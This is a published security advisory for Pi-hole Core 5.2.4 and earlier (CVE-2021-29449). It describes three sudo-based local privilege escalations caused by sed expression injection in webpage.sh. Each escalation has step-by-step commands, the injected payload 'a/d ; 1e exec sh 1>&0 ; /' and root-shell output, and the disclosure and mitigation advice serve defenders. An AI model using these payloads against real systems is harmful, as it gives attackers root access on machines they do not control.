Multiple Privilege Escalation Vulnerabilities Pihole

Moderate **PromoFaux** published **GHSA-3597-244c-wrpj** on Apr 14, 2021

Package

Pi-hole Core

Affected versions	Patched versions
<=5.2.4	5.3

Description

Hello,

During a security assessment of the Pihole product, I found three privilege escalation vulnerabilities on the latest version: 5.2.4.

These vulnerabilities allow attackers with a low privilege shell to elevate their privileges to the root user.

In order to mitigate these vulnerabilities, a strict validation of the user's input before being used in the sed command should be implemented.

Here the details of the 3 privilege escalation vulnerabilities I found:

1st Privilege Escalation

This exploit works only if the file /etc/dnsmasq.d/05-pihole-custom-cname.conf is not empty.

Showing that the current user is www-data (it is possible to use any other low-privilege user with the same sudo configuration as the www-data user):

```
$ whoami
www-data
```

The file 05-pihole-custom-cname.conf does not exist:

```
$ ls -l /etc/dnsmasq.d/05-pihole-custom-cname.conf
ls: cannot access '/etc/dnsmasq.d/05-pihole-custom-cname.conf': No such file or directory
```

Add a fake entry inside the file 05-pihole-custom-cname.conf:

```
$ sudo /usr/local/bin/pihole -a addcustomcname 'mydomain.com' 'mydomain.com'
  [✓] Adding custom CNAME record...
  [✓] Restarting DNS server
```

Check if the entry has been added to the file:

```
$ cat /etc/dnsmasq.d/05-pihole-custom-cname.conf
cname=mydomain.com,mydomain.com
```

Run the pihole script using the malicious payload to spawn a root shell:

```
$ sudo /usr/local/bin/pihole -a removecustomcname 'a/d ; 1e exec sh 1>&0 ; /'
  [✓] Removing custom CNAME record...
# id
uid=0(root) gid=0(root) groups=0(root)
```

The security issue resides in the RemoveCustomCNAMERecord function of the /opt/pihole/webpage.sh where the domain and target variables are taken from the input and not validated before being used in the sed command:

```
RemoveCustomCNAMERecord() {
    echo -e "  ${TICK} Removing custom CNAME record..."

    domain="${args[2]}"
    target="${args[3]}"
    sed -i "/cname=${domain},${target}/d" "${dnscustomcnamefile}"

    # Restart dnsmasq to update removed custom CNAME records
    RestartDNS
}
```

```
[CUT BY COMPASS]


main() {
    args=("$@")


    case "${args[1]}" in
[CUT BY COMPASS]
        "addcustomdns"        ) AddCustomDNSAddress;;
        "removecustomdns"     ) RemoveCustomDNSAddress;;
        "addcustomcname"      ) AddCustomCNAMERecord;;
        "removecustomcname"   ) RemoveCustomCNAMERecord;;
        *                     ) helpFunc;;
    esac
```

The payload a/d ; 1e exec sh 1>&0 ; / is used to add multiple sed expressions. One of the injected sed expressions (the red one) is used to spawn a new shell:

```
sed -i "/cname= a/d ; 1e exec sh 1>&0 ; /,/d" "${dnscustomcnamefile}"
```

2nd Privilege Escalation

The same vulnerability is present in the removecustomdns option. This exploit works only if the file /etc/pihole/custom.list is not empty.

Showing that the current user is www-data (it is possible to use any other low-privilege user with the same sudo configuration as the www-data user):

```
$ whoami
www-data
```

The file custom.list is empty:

```
$ ls -l /etc/pihole/custom.list
-rw-r--r-- 1 root root 0 Feb 23 05:38 /etc/pihole/custom.list
$ cat /etc/pihole/custom.list
```

Add a fake entry inside the file custom.list:

```
$ sudo /usr/local/bin/pihole -a addcustomdns '8.8.8.8' 'google.com'
  [✓] Adding custom DNS entry...
  [✓] Restarting DNS server
```

Check if the entry has been added to the file:

```
$ cat /etc/pihole/custom.list
8.8.8.8 google.com
```

Run the pihole script using the malicious payload to spawn a root shell:

```
$ sudo /usr/local/bin/pihole -a removecustomdns 'a/d ; 1e exec sh 1>&0 ; /'
  [✓] Removing custom DNS entry...
# id
uid=0(root) gid=0(root) groups=0(root)
```

The security issue resides in the RemoveCustomDNSAddress function of the /opt/pihole/webpage.sh where the IP and host variables are taken from the input and not validated before being used in the sed command:

```
RemoveCustomDNSAddress() {
    echo -e "  ${TICK} Removing custom DNS entry..."

    ip="${args[2]}"
    host="${args[3]}"
    sed -i "/${ip} ${host}/d" "${dnscustomfile}"

    # Restart dnsmasq to update removed custom DNS entries
    RestartDNS
```

```
}


[CUT BY COMPASS]


main() {
    args=("$@")


    case "${args[1]}" in
[CUT BY COMPASS]
        "addcustomdns"        ) AddCustomDNSAddress;;
        "removecustomdns"     ) RemoveCustomDNSAddress;;
        "addcustomcname"      ) AddCustomCNAMERecord;;
        "removecustomcname"   ) RemoveCustomCNAMERecord;;
        *                     ) helpFunc;;
    Esac
```

3rd Privilege Escalation

The same vulnerability is present in the removestaticdhcp option. This exploit works only if the file /etc/dnsmasq.d/04-pihole-static-dhcp.conf is not empty.

Showing that the current user is www-data (it is possible to use any other low-privilege user with the same sudo configuration as the www-data user):

```
$ whoami
www-data
```

The file 04-pihole-static-dhcp.conf does not exist:

```
$ ls -l /etc/dnsmasq.d/04-pihole-static-dhcp.conf
ls: cannot access '/etc/dnsmasq.d/04-pihole-static-dhcp.conf': No such file or directory
```

Add a fake entry inside the file 04-pihole-static-dhcp.conf:

```
$ sudo /usr/local/bin/pihole -a addstaticdhcp 'ff:ff:ff:ff:ff:ff' '10.10.10.10'
```

Check if the entry has been added to the file:

```
$ cat /etc/dnsmasq.d/04-pihole-static-dhcp.conf
dhcp-host=ff:ff:ff:ff:ff:ff,10.10.10.10,
```

Run the pihole script using the malicious payload to spawn a root shell:

```
$ sudo /usr/local/bin/pihole -a removestaticdhcp 'a/d ; 1e exec sh 1>&0 ; /'
# id
uid=0(root) gid=0(root) groups=0(root)
#
```

The security issue resides in the RemoveDHCPStaticAddress function of the /opt/pihole/webpage.sh where the mac variable is taken from the input and not validated before being used in the sed command:

```
RemoveDHCPStaticAddress() {
    mac="${args[2]}"
    sed -i "/dhcp-host=${mac}.*/d" "${dhcpstaticconfig}"
}


[CUT BY COMPASS]


main() {
    args=("$@")


    case "${args[1]}" in
[CUT BY COMPASS]
        "removestaticdhcp"    ) RemoveDHCPStaticAddress;;
[CUT BY COMPASS]
    esac
```

Please let me know if you have any questions.

Regards,

Emanuele Barbeno

Severity

Moderate

CVE ID

CVE-2021-29449

Weaknesses

No CWEs